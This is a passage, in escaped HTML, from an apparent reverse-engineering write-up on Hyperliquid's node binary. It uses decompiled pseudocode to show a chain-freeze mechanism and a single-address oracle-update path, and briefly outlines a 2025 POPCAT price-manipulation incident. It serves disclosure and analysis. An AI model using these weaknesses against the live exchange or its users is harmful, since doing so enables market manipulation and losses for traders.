&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Block height at which to freeze
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;State structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;VisorAbciState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ... fields ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scheduled_freeze_height&lt;/span&gt;: &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Offset 0x4C8 (discriminant), 0x4D0 (value)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ... more fields ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_height&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Offset 0x2F80
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ... more fields ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From &lt;code&gt;block_proposal_validator&lt;/code&gt; at &lt;code&gt;0x3B8A452&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1224&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Load freeze discriminant
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;v183&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1232&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Load freeze_height
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// Freeze is scheduled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v183&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;12160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// scheduled_height &amp;lt; current_height
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;panicking&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt; &lt;span class="c1"&gt;// Cannot schedule freeze in past
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v183&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;12160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// AT freeze height
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;panicking&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt; &lt;span class="c1"&gt;// assertion failed: !self.state.is_frozen()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When &lt;code&gt;current_height == scheduled_freeze_height&lt;/code&gt;, panic aborts block validation. No blocks can be proposed or accepted. Chain cannot advance past freeze height.&lt;/p&gt;
&lt;p&gt;From &lt;code&gt;check_and_handle_scheduled_freeze&lt;/code&gt; at &lt;code&gt;0x1C899C0&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x2F80&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Load current_height
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x4C8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// Option discriminant == Some
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x4D0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Load freeze_height value
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;v1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;exact_match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;periodic&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;ROR8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xD288CE703AFB7E91LL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x68DB8BAC710CCuLL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exact_match&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;periodic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;exact_match&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;freeze&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;write_freeze_marker&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/hyperliquid_data/freeze_abci_height&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;periodic&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;log_freeze_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;save_checkpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Freezing requires a governance vote. Unfreezing requires manual operator intervention: stopping validators, deleting &lt;code&gt;/hyperliquid_data/freeze_abci_height&lt;/code&gt;, patching state databases, coordinating restart. No on-chain evidence, no audit trail.&lt;/p&gt;
&lt;h3 id="the-popcat-incident-november-2025"&gt;The POPCAT Incident (November 2025)&lt;/h3&gt;
&lt;p&gt;On November 12, 2025, &lt;a href="https://decrypt.co/348355/hyperliquid-paused-some-withdrawals-popcat-trader-scrutiny"&gt;Hyperliquid froze all Arbitrum deposits and withdrawals&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker created ~$20-30M leveraged long on POPCAT&lt;/li&gt;
&lt;li&gt;Placed massive buy orders to prop up price&lt;/li&gt;
&lt;li&gt;Withdrew orders, triggering cascading liquidations&lt;/li&gt;
&lt;li&gt;HLP vault absorbed &lt;a href="https://www.bitget.com/academy/popcat-solana-memecoin-crash-2025-hyperliquid-defi-liquidation-explained"&gt;$4.9M in bad debt&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Response: froze all deposits and withdrawals platform-wide, labeled as &amp;ldquo;maintenance,&amp;rdquo; resumed ~2 hours later. &lt;a href="https://www.ccn.com/news/crypto/hyperliquid-attack-popcat-again-5million/"&gt;Third manipulation attack in 2025&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sounds familiar?&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x4-the-magic-8-ball"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; The Magic 8 Ball&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A single compromised address can set arbitrary prices on all markets: instant liquidation cascades, no timelock, no deviation limits, no multi-sig.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Derivatives exchanges live or die by their oracles. Get the price wrong and positions liquidate instantly. Get it maliciously wrong: billions evaporate in seconds.&lt;/p&gt;
&lt;h3 id="the-single-point-of-total-failure"&gt;The Single Point of Total Failure&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;oracle_updater&lt;/code&gt; field is a single privileged address controlling price feeds for the entire exchange. Not a multi-sig. Not a decentralized oracle network. One wallet&amp;rsquo;s private key.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Hip3Deploy&lt;/code&gt; governance action at &lt;code&gt;sub_1F28050&lt;/code&gt; (a 180KB function handling all 89 variants) contains variant 2: &lt;code&gt;SetOracle&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s trace what happens when it executes.&lt;/p&gt;
&lt;h3 id="execution-path"&gt;Execution Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Entry:&lt;/strong&gt; VoteGlobalAction dispatcher at &lt;code&gt;sub_1F36320&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oracle Dispatcher:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="nf"&gt;sub_3DDC500&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;state_tree&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__int128&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;perp_config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;action_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;should_validate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Extract market key (compared as 20 bytes via memcmp below)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_OWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;action_data&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Binary search BTree for market at state+272
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state_tree&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;272&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x14u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Compare 20-byte addresses
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// CRITICAL: Validation is OPTIONAL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;should_validate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;market_found&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;sub_303AE10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;state_ptr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
